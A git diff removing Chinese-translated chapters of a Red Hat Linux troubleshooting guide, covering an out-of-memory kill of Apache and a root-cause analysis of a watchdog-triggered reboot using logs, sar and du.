在前面的几行中,我们可以看到进程`2249`,它恰好是我们的 Apache 服务器进程 id: - -```sh -Jun 26 21:12:55 blog.example.com systemd[1]: httpd.service: main process exited, code=killed, status=9/KILL - -``` - -这里,我们看到`systemd`检测到进程在`21:12:55`被杀死。 此外,我们可以从消息日志中看到,oom-kill 在`21:12:54`针对这个进程。 在这一点上,毫无疑问这个过程是被 oom-kill 杀死的。 - -## 为什么系统内存不足? - -此时,我们能够确定 Apache 服务在耗尽内存时被系统杀死。 不幸的是,“毁灭”不是问题的根本原因,而是一种症状。 虽然这是 Apache 服务关闭的原因,但是如果我们仅仅重新启动进程而不做其他事情,那么问题可能会再次发生。 - -此时,我们需要首先确定是什么导致系统耗尽内存。 要做到这一点,让我们看看消息日志文件中`Out of memory`消息的整个列表: - -```sh -# grep "Out of memory" /var/log/messages* | cut -d\ -f1,2,10,12 | uniq -c - 38 /var/log/messages:Jun 28 process (processor) - 1 /var/log/messages:Jun 28 process (application) - 10 /var/log/messages:Jun 28 process (processor) - 1 /var/log/messages-20150615:Jun 10 process (python) - 1 /var/log/messages-20150628:Jun 22 process (processor) - 47 /var/log/messages-20150628:Jun 26 process (processor) - 32 /var/log/messages-20150628:Jun 26 process (httpd) - -``` - -再次使用`cut`和`uniq –c`命令,我们可以在消息日志中看到一个有趣的趋势。 我们可以看到内核已经多次调用了 oom-kill。 我们可以看到,即使在今天,系统也启动了“毁灭”进程。 - -我们现在要做的第一件事就是计算出这个系统有多少内存。 - -```sh -# free -m - total used free shared buffers cached -Mem: 238 206 32 0 0 2 --/+ buffers/cache: 203 34 -Swap: 1055 428 627 - -``` - -使用`free`命令,我们可以看到系统有`238`MB 的物理内存和`1055`MB 的交换空间。 然而,我们还可以看到只有`34`MB 的内存是空闲的,并且系统已经交换了`428`MB 的物理内存。 - -很明显,对于系统当前所处的工作负载,它没有分配足够的内存。 - -如果我们回顾一下 oom-kill 的目标过程,我们可以看到一个有趣的趋势: - -```sh -# grep "Out of memory" /var/log/messages* | cut -d\ -f10,12 | sort | uniq -c - 1 process (application) - 32 process (httpd) - 118 process (processor) - 1 process (python) - -``` - -这里,很明显的两个最常被杀死的进程是`httpd`和`processor`。 我们在前面学到的是,oom-kill 根据进程使用的内存数量来确定要杀死哪些进程。 这意味着这两个进程在系统上使用了最多的内存,但是它们到底使用了多少内存呢? - -```sh -# ps -eo rss,size,cmd | grep processor - 0 340 /bin/sh -c /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml > /dev/null -130924 240520 /opt/myapp/bin/processor --debug --config /opt/myapp/conf/config.yml - 964 336 grep --color=auto processor - -``` - -使用`ps`命令专门显示**rss**和**字段大小,我们在第四章【显示】,*故障诊断性能问题,我们可以看到,使用`130``processor`的工作是 MB 的常驻内存和虚拟内存`240`MB。*** - - ***如果系统只有`238`MB 的物理内存,而进程正在使用`240`MB 的虚拟内存,最终,系统将在物理内存不足的情况下运行。 - -# 解决长期和短期问题 - -这一章中讨论的问题可能有点棘手,因为它们通常有两种解决方法。 有一个长期修复方案和一个短期修复方案; 两者都是必要的,但有一个只是暂时的。 - -## 长期决心 - -对于这个问题的长期解决,我们确实有两个选择。 我们可以增加服务器的物理内存,为 Apache 和 Processor 提供足够的内存来完成它们的任务。 或者,我们可以将处理器移动到另一个服务器上。 - -因为我们知道这个服务器经常杀死 Apache 服务和`processor`作业,所以很可能是系统上的内存太少,无法同时执行这两个角色。 通过将`processor`作业(很可能是它所在的自定义应用)移动到另一个系统,我们将把工作负载移动到专用服务器上。 - -根据处理器的内存使用情况,增加新服务器上的内存也是值得的。 看起来,`processor`作业使用了足够多的内存,在低内存服务器(比如它现在所在的服务器)上导致内存不足的情况。 - -坦率地说,决定哪种长期解决方案是最好的取决于导致系统耗尽内存的环境和应用。 在某些情况下,简单地增加服务器的内存并结束工作可能会更好。 - -这个任务在虚拟和云环境中非常容易,但它可能并不总是最好的答案。 真正决定哪种答案更好取决于你所工作的环境。 - -## 短期决议 - -让我们假设两个长期决议都需要几天的时间来实现。 到目前为止,我们系统上的 Apache 服务仍然处于关闭状态。 这意味着我们公司的博客也仍然处于宕机状态; 为了暂时解决这个问题,我们需要重新启用 Apache。 - -然而,我们不应该简单地用`systemctl`命令重启 Apache。 在启动任何操作之前,我们实际上应该首先重启服务器。 - -当大多数 Linux 管理员听到“让我们重新启动”这句话时,他们的胃里会有一种下沉的感觉。 这是因为,作为 Linux 系统管理员,我们很少需要重新启动系统。 我们被告知,在不更新内核的情况下重启 Linux 服务器是一件很不明智的事情。 - -在大多数情况下,我们认为重新启动服务器不是正确的解决方案是正确的。 但是,我认为系统耗尽内存是一种特殊情况。 - -我的观点是,当 oom-kill 启动时,问题系统应该在完全恢复到正常状态之前重新启动。 - -我这样说的原因是,oom-kill 进程可以杀死任何进程,包括关键的系统进程。 虽然 oom-kill 进程通过 syslog 记录哪些进程被杀死了,但 syslog 守护进程只是系统上另一个可以被 oom-kill 杀死的进程。 - -在 oom-kill 杀死了许多不同进程的情况下,即使 oom-kill 没有杀死 syslog 进程,也很难确保每个进程都按照应该的方式启动和运行。 当处理这个问题的人缺乏经验时尤其如此。 - -虽然您可以花时间确定正在运行的进程并确保重新启动每个进程,但简单地重新启动服务器要快得多,而且可以说更安全。 正如您所知道的,在引导时,将启动定义为启动的每个进程。 - -虽然不是每个系统管理员都同意这个观点,但我认为这是确保系统处于稳定状态的最佳方法。 重要的是要记住,这只是一个短期的解决方案,在重新启动时,除非有什么变化,否则系统可能会再次耗尽内存。 - -对于我们的情况,最好禁用`processor`作业,直到服务器的内存可以增加或作业可以移动到专用系统。 然而,这并不是在所有情况下都可以接受的。 就像长期解决方案一样,防止这种情况再次发生也取决于你所管理的环境。 - -由于我们假设短期解决方案是我们示例中的正确解决方案,我们将继续重新启动系统: - -```sh -# reboot -Connection to 127.0.0.1 closed by remote host. - -``` - -一旦系统重新上线,我们就可以用`systemctl`命令验证 Apache 是否正在运行: - -```sh -# systemctl status httpd -httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled) - Active: active (running) since Wed 2015-07-01 15:37:22 UTC; 1min 29s ago - Main PID: 1012 (httpd) - Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec" - CGroup: /system.slice/httpd.service - ├─1012 /usr/sbin/httpd -DFOREGROUND - ├─1439 /usr/sbin/httpd -DFOREGROUND - ├─1443 /usr/sbin/httpd -DFOREGROUND - ├─1444 /usr/sbin/httpd -DFOREGROUND - ├─1445 /usr/sbin/httpd -DFOREGROUND - └─1449 /usr/sbin/httpd -DFOREGROUND - -Jul 01 15:37:22 blog.example.com systemd[1]: Started The Apache HTTP Server. - -``` - -如果我们在这个系统上再次运行`free`,我们可以看到的内存利用率要低得多,至少到目前为止是这样的: - -```sh -# free -m - total used free shared buffers cached -Mem: 238 202 35 4 0 86 --/+ buffers/cache: 115 122 -Swap: 1055 0 1055 - -``` - -# 总结 - -在本章中,我们使用故障排除技能来识别影响公司博客的问题和问题的根本原因。 我们能够使用前面章节中学到的技能和技术来确定 Apache 服务停止了。 我们还确定了这个问题的根本原因是系统耗尽了内存。 - -通过研究日志文件,我们可以看到系统上使用最多内存的两个进程是 Apache 和一个名为`processor`的自定义应用。 此外,通过确定这些过程,我们能够提出一个长期的建议,以防止该问题再次发生。 - -最重要的是,我们了解了 Linux 系统内存耗尽时会发生什么。 - -在下一章中,我们将通过对无响应系统进行根本原因分析,来测试您到目前为止学到的所有知识。*** \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/12.md b/docs/rhel-troubleshoot-guide/12.md deleted file mode 100644 index 8f204a95..00000000 --- a/docs/rhel-troubleshoot-guide/12.md +++ /dev/null @@ -1,781 +0,0 @@ -# 十二、意外重启的根本原因分析 - -在最后一章中,我们将测试您在前几章中学到的故障排除方法和技能。 我们将对最困难的现实场景之一执行根本原因分析:意外重启。 - -正如我们在[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices")、*故障排除最佳实践*中所讨论的,根本原因分析比简单地故障排除和解决问题要复杂得多。 在企业环境中,您将发现导致重大影响的每个问题都需要进行根本原因分析(RCA)。 原因在于,企业环境通常具有既定的处理事件的流程。 - -一般来说,当重大事件发生时,受其影响的组织希望避免再次发生。 你可以在很多行业看到这一点,甚至在技术环境之外。 - -正如我们在[第一章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices"),*故障排除最佳实践*中所讨论的,一个有用的 RCA 具有以下特征: - -* 正如报道的那样 -* 问题的真正根源 -* 事件和行动的时间表 -* 任何关键数据点 -* 防止事故再次发生的行动计划 - -对于今天的问题,我们将使用一个事件来构建一个示例根本原因分析文档。 为此,我们将使用您在前几章中学到的信息收集和故障排除步骤。 在进行所有这些操作的同时,您还将学习如何处理意外重启,这是识别根本原因的最糟糕事件之一。 - -意外重新引导之所以困难的原因是,当系统重新引导时,您经常会丢失识别问题根源所需的信息。 正如我们在前面章节中看到的,我们在问题期间收集的数据越多,我们就越有可能确定问题的原因。 - -在重新引导期间丢失的信息通常是确定根本原因和不确定根本原因的区别。 - -# 深夜警报 - -随着我们在章节中取得进展,并为我们最近的雇主解决了许多问题,我们也获得了他们对我们能力的信心。 最近,我们甚至被置于**on call**的旋转状态,这意味着如果几个小时后出现问题,我们的手机将通过短信发送警报。 - -当然,当值的第一个晚上我们就得到了警报; 这不是一个好的警报。 - -*ALERT: blog.example.com is no longer responding to ICMP ping* - -当我们被加入随叫随到轮值时,我们的团队领导通知我们,任何在下班后发生的重大事件也必须进行 RCA。 这样做的原因是为了让我们小组中的其他人能够学习和理解我们为解决问题所做的事情,以及如何防止它再次发生。 - -正如我们前面所讨论的,一个有用的 RCA 的关键组件之一是列出事情发生的时间。 时间轴中的主要事件是我们收到警报的时间; 根据我们的短信,我们可以看到,我们收到警报在 2015 年 7 月 05 日 01:52 或更确切地说; 7 月 5 日凌晨 1 点 52 分(欢迎随叫随到!) - -# 发现问题 - -从警报中,我们可以看到我们的监控系统无法向我们公司的博客服务器执行`ICMP`ping。 我们应该做的第一件事是确定我们是否可以`ping`服务器: - -```sh -$ ping blog.example.com -PING blog.example.com (192.168.33.11): 56 data bytes -64 bytes from 192.168.33.11: icmp_seq=0 ttl=64 time=0.832 ms -64 bytes from 192.168.33.11: icmp_seq=1 ttl=64 time=0.382 ms -64 bytes from 192.168.33.11: icmp_seq=2 ttl=64 time=0.240 ms -64 bytes from 192.168.33.11: icmp_seq=3 ttl=64 time=0.234 ms -^C ---- blog.example.com ping statistics --- -4 packets transmitted, 4 packets received, 0.0% packet loss -round-trip min/avg/max/stddev = 0.234/0.422/0.832/0.244 ms - -``` - -似乎我们能够 ping 出问题的服务器,所以也许这是一个错误的警报? 以防万一,让我们尝试登录到系统: - -```sh -$ ssh 192.168.33.11 -l vagrant -vagrant@192.168.33.11's password: -$ - -``` - -看来我们可以登录系统了,系统已经开始运行了; 让我们开始四处看看,看看是否有什么问题。 - -如前一章所述,我们总是运行的第一个命令是`w`: - -```sh -$ w -01:59:46 up 9 min, 1 user, load average: 0.00, 0.01, 0.02 -USER TTY LOGIN@ IDLE JCPU PCPU WHAT -vagrant pts/0 01:59 2.00s 0.03s 0.01s w - -``` - -在这个例子中,这个小习惯实际上得到了很好的回报。 通过`w`命令的输出,我们可以看到该服务器只启动了`9`分钟。 似乎我们的监控系统无法 ping 通我们的服务器,因为它正在重新启动。 - -### 提示 - -我们应该注意,我们能够识别服务器在登录后重新启动; 这将是我们时间表上的关键事件。 - -## 有人重启服务器了吗? - -虽然我们已经确定了警报的根本原因,但这不是问题的根本原因。 我们需要确定服务器重启的原因。 服务器不经常(至少不应该)重新启动; 有时它可能只是某个在此服务器上执行维护而不让其他人知道的人。 我们可以看到最近是否有人使用`last`命令登录到这个服务器: - -```sh -$ last -vagrant pts/0 192.168.33.1 Sun Jul 5 01:59 still logged in -joe pts/1 192.168.33.1 Sat Jun 6 18:49 - 21:37 (02:48) -bob pts/0 10.0.2.2 Sat Jun 6 18:16 - 21:37 (03:21) -billy pts/0 10.0.2.2 Sat Jun 6 17:09 - 18:14 (01:05) -doug pts/0 10.0.2.2 Sat Jun 6 15:26 - 17:08 (01:42) - -``` - -`last`命令的输出以最上面的最新登录开始。 该数据从用于存储登录详细信息的`/var/log/wtmp`中提取。 在最后一个命令输出的末尾,我们看到以下一行: - -```sh -wtmp begins Mon Jun 21 23:39:24 2014 - -``` - -这告诉我们`wtmp`日志文件的历史有多久远; 非常有用的信息。 如果我们想要查看特定的登录数量,我们可以简单地添加`–n`标志,后面跟着我们希望看到的登录数量。 - -这在一般情况下是非常有用的; 但是,由于我们不知道这台机器上最近有多少次登录,所以我们只使用默认值。 - -从我们收到的输出,我们可以看到这台服务器最近没有任何登录。 除了有人实际按下电源按钮或拔掉这个系统,我们可以假设有人没有重新启动服务器。 - -### 提示 - -这是我们应该在时间轴中使用的另一个事实/事件。 - -## 日志告诉我们什么? - -由于一个人没有重新启动该服务器,我们的下一个假设是,该服务器是由于软件或硬件问题重新启动的。 我们的下一个逻辑步骤是查看系统日志文件,以确定发生了什么: - -```sh -01:59:46 up 9 min, 1 user, load average: 0.00, 0.01, 0.02 - -``` - -在`w`的输出中,我们看到服务器已经启动了`9`分钟,而该命令的执行时间是`01:59`。 因为我们要查看这个系统上的日志,所以我们应该开始查看从`01:45`到`01:52`的时间窗口。 - -我们应该查看的第一个日志是`/var/log/messages`日志。 默认情况下,在基于 Red Hat 的系统上,该日志文件包含所有信息和更高级别的日志消息。 这意味着,如果我们想找到关于我们为什么重启的信息,那么这里就是主要位置。 - -下面的代码片段是使用`less`命令读取`/var/log/messages`的: - -```sh -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is low on disk space for logging -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is suspending logging due to low disk space. -Jul 5 01:50:02 localhost watchdog[608]: loadavg 25 9 3 is higher than the given threshold 24 18 12! -Jul 5 01:50:02 localhost watchdog[608]: shutting down the system because of error -3 -Jul 5 01:50:12 localhost rsyslogd: [origin software="rsyslogd" swVersion="7.4.7" x-pid="593" x-info="http://www.rsyslog.com"] exiting on signal 15. -Jul 5 01:50:32 localhost systemd: Time has been changed -Jul 5 01:50:32 localhost NetworkManager[594]: dhclient started with pid 722 -Jul 5 01:50:32 localhost NetworkManager[594]: Activation (enp0s3) Stage 3 of 5 (IP Configure Start) complete. -Jul 5 01:50:32 localhost vboxadd-service: Starting VirtualBox Guest Addition service [ OK ] -Jul 5 01:50:32 localhost systemd: Started LSB: VirtualBox Additions service. -Jul 5 01:50:32 localhost dhclient[722]: Internet Systems Consortium DHCP Client 4.2.5 -Jul 5 01:50:32 localhost dhclient[722]: Copyright 2004-2013 Internet Systems Consortium. -Jul 5 01:50:32 localhost dhclient[722]: All rights reserved. -Jul 5 01:50:32 localhost dhclient[722]: For info, please visit https://www.isc.org/software/dhcp/ -Jul 5 01:50:32 localhost dhclient[722]: -Jul 5 01:50:32 localhost NetworkManager: Internet Systems Consortium DHCP Client 4.2.5 -Jul 5 01:50:32 localhost NetworkManager: Copyright 2004-2013 Internet Systems Consortium. -Jul 5 01:50:32 localhost NetworkManager: All rights reserved. -Jul 5 01:50:32 localhost NetworkManager: For info, please visit https://www.isc.org/software/dhcp/ -Jul 5 01:50:32 localhost NetworkManager[594]: (enp0s3): DHCPv4 state changed nbi -> preinit -Jul 5 01:50:32 localhost dhclient[722]: Listening on LPF/enp0s3/08:00:27:20:5d:4b -Jul 5 01:50:32 localhost dhclient[722]: Sending on LPF/enp0s3/08:00:27:20:5d:4b -Jul 5 01:50:32 localhost dhclient[722]: Sending on Socket/fallback -Jul 5 01:50:32 localhost dhclient[722]: DHCPREQUEST on enp0s3 to 255.255.255.255 port 67 (xid=0x3ae55b57) - -``` - -由于这里有相当多的信息,让我们把我们看到的分解一点。 - -第一个任务是查找在引导时清楚地写入的日志消息。 通过识别在引导时写入的日志消息,我们将能够识别在重新引导之前和之后写入了哪些日志。 我们还可以为我们的根本原因文档确定一个引导时间: - -```sh -Jul 5 01:50:12 localhost rsyslogd: [origin software="rsyslogd" swVersion="7.4.7" x-pid="593" x-info="http://www.rsyslog.com"] exiting on signal 15. -Jul 5 01:50:32 localhost systemd: Time has been changed -Jul 5 01:50:32 localhost NetworkManager[594]: dhclient started with pid 722 -Jul 5 01:50:32 localhost NetworkManager[594]: Activation (enp0s3) Stage 3 of 5 (IP Configure Start) complete. - -``` - -第一个看起来有希望的日志条目是来自`NetworkManager`的`01:50:32`的消息。 此消息表示`NetworkManager`服务已启动`dhclient`。 - -`dhclient`进程用于发起 DHCP 请求,并根据应答进行网络配置。 这个进程通常只在网络重新配置或启动时调用: - -```sh -Jul 5 01:50:12 localhost rsyslogd: [origin software="rsyslogd" swVersion="7.4.7" x-pid="593" x-info="http://www.rsyslog.com"] exiting on signal 15. - -``` - -如果我们看前面的一行,我们可以看到在 01:50:12,`rsyslogd`过程是`exiting on signal 15`。 这意味着,`rsyslogd`进程被发送一个终止信号,这是关机期间的一个相当标准的进程。 - -我们可以确定在 01:50:12 服务器处于关机进程,在 01:50:32 服务器处于引导进程。 这意味着,我们应该查看 01:50:12 之前的所有内容,以确定为什么系统重新启动。 - -### 提示 - -我们的根本原因时间线也需要关机时间和开机时间。 - -从前面捕获的日志中,我们可以看到在 01:50 之前写入到`/var/log/messages`的两个进程; `auditd`和看门狗进程。 - -```sh -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is low on disk space for logging -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is suspending logging due to low disk space. - -``` - -让我们先来看看`auditd`过程。 我们可以在第一行中看到一条“磁盘空间不足”的消息。 我们的系统是否会因为磁盘空间不足而出现问题? 这是有可能的,我们现在就可以检查: - -```sh -# df -h -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/centos-root 39G 39G 32M 100% / -devtmpfs 491M 0 491M 0% /dev -tmpfs 498M 0 498M 0% /dev/shm -tmpfs 498M 6.5M 491M 2% /run -tmpfs 498M 0 498M 0% /sys/fs/cgroup -/dev/sda1 497M 104M 394M 21% /boot - -``` - -看起来文件系统确实是 100%的,但是类似这样的事情本身通常不会导致重新引导。 考虑到第二个`auditd`消息显示**,守护进程正在暂停日志记录**; 这看起来也不像一个重启过程。 让我们继续看,看看我们还能发现什么: - -```sh -Jul 5 01:50:02 localhost watchdog[608]: loadavg 25 9 3 is higher than the given threshold 24 18 12! -Jul 5 01:50:02 localhost watchdog[608]: shutting down the system because of error -3 - -``` - -来自`watchdog`流程的下面两个消息很有趣。 第一个声明服务器的`loadavg`高于指定的阈值。 第二个消息非常有趣,因为它明确表示,“关闭系统”。 - -`watchdog`进程是否重新启动了此服务器? 也许吧,但第一个问题是,`watchdog`的过程是什么? - -## 了解新的流程和服务 - -从`messages`日志中挖掘以找到一个你从未使用过或见过的进程,这并不罕见: - -```sh -# ps -eo cmd | sort | uniq | wc -l -115 - -``` - -即使在我们的基本示例系统中,进程列表中也有 115 个惟一的命令。 当您添加一个更新的版本,比如 Red Hat Enterprise Linux 7(在编写本文时更新)时,这一点尤其正确。 每个新版本都会带来新的功能,这甚至可能意味着默认情况下会运行新的进程。 要跟上这一切是很困难的。 - -就我们的例子而言,`watchdog`就是其中之一。 在这一点上,除了从它的名称推断它监视事物之外,我们不知道这个过程做什么。 那么我们如何了解更多呢? 我们要么谷歌它,要么`man`它: - -```sh -$ man watchdog -NAME - watchdog - a software watchdog daemon - -SYNOPSIS - watchdog [-F|--foreground] [-f|--force] [-c filename|--config-file filename] [-v|--verbose] [-s|--sync] [-b|--softboot] [-q|--no-action] - -DESCRIPTION - The Linux kernel can reset the system if serious problems are detected. This can be implemented via special watchdog hardware, or via a slightly less reliable software-only watchdog inside the kernel. Either way, there needs to be a daemon that tells the kernel the system is working fine. If the daemon stops doing that, the system is reset. - - watchdog is such a daemon. It opens /dev/watchdog, and keeps writing to it often enough to keep the kernel from resetting, at least once per minute. Each write delays the reboot time another minute. After a minute of inactivity the watchdog hardware will cause the reset. In the case of the software watchdog the ability to reboot will depend on the state of the machines and interrupts. - - The watchdog daemon can be stopped without causing a reboot if the device /dev/watchdog is closed correctly, unless your kernel is compiled with the CONFIG_WATCHDOG_NOWAYOUT option enabled. - -``` - -根据`man`页面,我们确定了`watchdog`服务实际上用于确定服务器是否健康。 如果`watchdog`不能这样做,它可能会重新启动服务器: - -```sh -Jul 5 01:50:02 localhost watchdog[608]: shutting down the system because of error -3 - -``` - -从这个日志信息看来,看门狗软件是导致重启的一个。 可能是看门狗重新启动了系统,因为文件系统已满? - -如果我们继续到`man`页,我们会看到另一个有用的信息,如下所示: - -```sh -TESTS - The watchdog daemon does several tests to check the system status: - - · Is the process table full? - - · Is there enough free memory? - - · Are some files accessible? - - · Have some files changed within a given interval? - - · Is the average work load too high? - -``` - -在这个列表中的最后一个“`test`”中,它表示`watchdog`守护进程可以检查平均工作负载是否过高: - -```sh -Jul 5 01:50:02 localhost watchdog[608]: loadavg 25 9 3 is higher than the given threshold 24 18 12! - -``` - -根据`man`页面和前面的日志消息,`watchdog`似乎不是因为文件系统而重新引导服务器,而是由于服务器的平均负载。 - -### 提示 - -在进一步讨论之前,让我们注意到,在 01:50:02,`watchdog`进程启动了重新引导。 - -# 是什么导致了高平均负载? - -虽然我们已经确定了是什么重新启动了服务器,但我们仍然没有找到问题的根本原因。 我们还得搞清楚是什么导致了高平均负载。 不幸的是,这将归类为在重新引导期间丢失的信息。 - -如果系统的平均负载仍然很高,那么我们只需使用`top`或`ps`来确定哪个进程使用了最多的 CPU 时间。 但是,一旦系统重新启动,任何导致高平均负载的进程都将被重新启动。 - -除非这些进程开始再次导致高平均负载,否则我们无法确定源。 - -```sh -$ w - 02:13:07 up 23 min, 1 user, load average: 0.00, 0.01, 0.05 -USER TTY LOGIN@ IDLE JCPU PCPU WHAT -vagrant pts/0 01:59 3.00s 0.26s 0.10s sshd: vagrant [priv] - -``` - -然而,我们能够确定平均负载何时开始增加,以及增加到多高。 当我们进一步调查时,这些信息可能会很有用,因为我们可以用它来确定事情是什么时候开始出错的。 - -要查看平均负载的历史视图,我们可以使用`sar`命令: - -```sh -$ sar - -``` - -幸运的是,`sar`命令的收集间隔似乎被设置为每`2`分钟。 默认值是 10 分钟,这意味着我们通常会看到每 10 分钟一行: - -```sh -01:42:01 AM all 0.01 0.00 0.06 0.00 0.00 99.92 -01:44:01 AM all 0.01 0.00 0.06 0.00 0.00 99.93 -01:46:01 AM all 0.01 0.00 0.06 0.00 0.00 99.93 -01:48:01 AM all 33.49 0.00 2.14 0.00 0.00 64.37 -01:50:05 AM all 87.80 0.00 12.19 0.00 0.00 0.01 -Average: all 3.31 0.00 0.45 0.00 0.00 96.24 - -01:50:23 AM LINUX RESTART - -01:52:01 AM CPU %user %nice %system %iowait %steal %idle -01:54:01 AM all 0.01 0.00 0.06 0.00 0.00 99.93 -01:56:01 AM all 0.01 0.00 0.05 0.00 0.00 99.94 -01:58:01 AM all 0.01 0.00 0.05 0.00 0.00 99.94 -02:00:01 AM all 0.03 0.00 0.10 0.00 0.00 99.87 - -``` - -查看输出,我们可以看到在`01:46`,这个系统几乎没有任何 CPU 占用。 但是,从`01:48`开始,用户空间中的 CPU 利用率为`33`%。 - -似乎在`01:50`时,`sar`能够捕获正在使用的`99.99`百分比的 CPU 利用率,其中`87.8`百分比由用户使用,`12.19`百分比由系统使用。 - -### 提示 - -在我们的根本原因总结中,以上都是很好的事实。 - -有了这个,我们现在知道我们的问题是在`01:44`和`01:46`之间的某个时间开始的,我们可以从 CPU 使用情况中看到这一点。 - -让我们看看带有`–q`标志的平均负载,看看平均负载是否与 CPU 利用率匹配: - -```sh -# sar -q -Again, we can narrow events down even further: -01:42:01 AM 0 145 0.00 0.01 0.02 0 -01:44:01 AM 0 145 0.00 0.01 0.02 0 -01:46:01 AM 0 144 0.00 0.01 0.02 0 -01:48:01 AM 14 164 4.43 1.12 0.39 0 -01:50:05 AM 37 189 25.19 9.14 3.35 0 -Average: 1 147 0.85 0.30 0.13 0 - -01:50:23 AM LINUX RESTART - -01:52:01 AM runq-sz plist-sz ldavg-1 ldavg-5 ldavg-15 blocked -01:54:01 AM 0 143 0.01 0.04 0.02 0 -01:56:01 AM 1 138 0.00 0.02 0.02 0 -01:58:01 AM 0 138 0.00 0.01 0.02 0 -02:00:01 AM 0 141 0.00 0.01 0.02 0 - -``` - -通过**平均负载**的测量,我们可以看到在`01:46`时,尽管 CPU 很高,但一切都很安静。 然而,在下一次以`01:48`运行时,我们可以看到**运行队列**为 14,而 1 分钟负载平均为 4。 - -## 运行队列和平均负载是多少? - -因为我们正在查看运行队列和平均负载,所以让我们花点时间来理解这些值的含义。 - -在一个非常基本的概念中,运行队列值显示处于活动状态等待执行的进程数量。 - -要了解更多细节,让我们考虑 CPU 及其工作原理。 一个 CPU 一次只能执行一个任务。 现在大多数服务器都有多个核心,有时每个服务器有多个处理器。 在 Linux 上,每个内核和线程(对于超线程 CPU 来说)都被视为一个 CPU。 - -每个 cpu 一次只能执行一个任务。 如果我们有两个 CPU 服务器,我们的服务器可以一次执行两个任务。 - -让我们假设我们的 2 个 CPU 系统需要同时执行 4 个任务。 系统可以执行其中的两个任务,但其他两个任务必须等待前两个任务完成。 当这种情况发生时,正在等待的进程被放入一个“运行队列”。 当系统在运行队列中有进程时,它们将被优先排序并在 CPU 可用时执行。 - -在我们的`sar`捕获中,我们可以看到在 01:48 时运行队列的值是 14; 这意味着在那一刻,有 14 个任务在运行队列中等待 CPU。 - -### 平均负载 - -平均负载与运行队列有一点不同,但不是很大。 平均负载是给定时间内的平均运行队列值。 在前面的示例中,我们可以看到`ldavg-1`(这一列是最后一分钟的平均运行队列长度)。 - -运行队列值和 1 分钟平均负载可能不同,因为`sar`报告的运行队列值是在执行时,1 分钟平均负载是运行队列在 60 秒内的平均负载。 - -```sh -01:46:01 AM 0 144 0.00 0.01 0.02 0 -01:48:01 AM 14 164 4.43 1.12 0.39 0 -01:50:05 AM 37 189 25.19 9.14 3.35 0 - -``` - -对高运行队列的单个捕获可能并不一定意味着存在问题,特别是在 1 分钟平均负载不高的情况下。 然而,在我们的示例中,我们可以看到在`01:48`,我们的运行队列有 14 个任务在队列中,而在`01:50`,我们的运行队列有 37 个任务在队列中。 - -最重要的是,我们可以看到在`01:50`,我们的 1 分钟平均负载是 25。 - -考虑到 CPU 利用率的重叠,似乎在 01:46 - 01:48 左右发生了一些事情,导致了较高的 CPU 利用率。 除了这种高利用率之外,还存在许多需要执行但却无法执行的任务。 - -### 提示 - -我们应该花点时间并记录我们在`sar`中看到的时间和值,因为这些将是根本原因总结的必要细节。 - -# 检查文件系统是否已满 - -早些时候,我们注意到文件系统是 100%满的。 不幸的是,我们安装的`sysstat`版本不能捕获磁盘空间的使用情况。 一个需要识别的有用的东西是,当文件系统被填满的时候,与我们的运行队列开始增加的时候相比: - -```sh -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is low on disk space for logging -Jul 5 01:48:01 localhost auditd[560]: Audit daemon is suspending logging due to low disk space. - -``` - -从前面看到的日志消息中,我们可以看到`auditd`进程在`01:48`处标识了低磁盘空间。 这非常接近我们的运行队列峰值出现的时间。 - -这是建立在一个假设基础上的,即问题的根本原因是文件系统被填满,这导致进程要么启动许多 CPU 密集型任务,要么为其他任务阻塞 CPU。 - -虽然这是一个合理的理论,但我们必须证明它是正确的。 我们可以进一步证明这一点的一种方法是确定是什么在这个系统上占用了大部分磁盘空间: - -```sh -# du -k / | sort -nk 1 | tail -25 -64708 /var/cache/yum/x86_64/7/epel -67584 /var/cache/yum/x86_64/7/base -68668 /usr/lib/firmware -75888 /usr/lib/modules/3.10.0-123.el7.x86_64/kernel/drivers -80172 /boot -95384 /usr/share/locale -103548 /usr/lib/locale -105900 /usr/lib/modules/3.10.0-123.el7.x86_64/kernel -116080 /usr/lib/modules -116080 /usr/lib/modules/3.10.0-123.el7.x86_64 -148276 /usr/bin -162980 /usr/lib64 -183640 /var/cache/yum -183640 /var/cache/yum/x86_64 -183640 /var/cache/yum/x86_64/7 -184396 /var/cache -285240 /usr/share -317628 /var -328524 /usr/lib -1040924 /usr -2512948 /opt/myapp/logs -34218392 /opt/myapp/queue -36731428 /opt/myapp -36755164 /opt -38222996 / - -``` - -前面的一行程序对于确定哪个目录或文件使用了最多的空间是非常有用的方法。 - -## du 命令 - -前面的一行程序使用`sort`命令对`du`的输出进行排序,您在[第 11 章](11.html#26I9K2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 11. Recovering from Common Failures")、*从常见故障中恢复*中了解了该命令。 `du`命令是一个非常有用的命令,它可以估计给定目录所使用的空间量。 - -例如,如果我们想知道`/var/tmp`目录使用了多少空间,我们可以很容易地通过下面的`du`命令来确定: - -```sh -# du -h /var/tmp -0 /var/tmp/systemd-private-Wu4ixe/tmp -0 /var/tmp/systemd-private-Wu4ixe -0 /var/tmp/systemd-private-pAN90Q/tmp -0 /var/tmp/systemd-private-pAN90Q -160K /var/tmp - -``` - -`du`的一个有用属性是,默认情况下,它不仅会列出`/var/tmp`,还会列出其中的目录。 我们可以看到有几个目录中什么都没有,但是`/var/tmp/`目录包含 160kb 的数据。 - -```sh -# du -h /var/tmp/ -0 /var/tmp/systemd-private-Wu4ixe/tmp -0 /var/tmp/systemd-private-Wu4ixe -0 /var/tmp/systemd-private-pAN90Q/tmp -0 /var/tmp/systemd-private-pAN90Q -4.0K /var/tmp/somedir -164K /var/tmp/ - -``` - -### 注意事项 - -重要的是要知道,`/var/tmp`的大小就是`/var/tmp`内内容的大小,其中包括其他子目录。 - 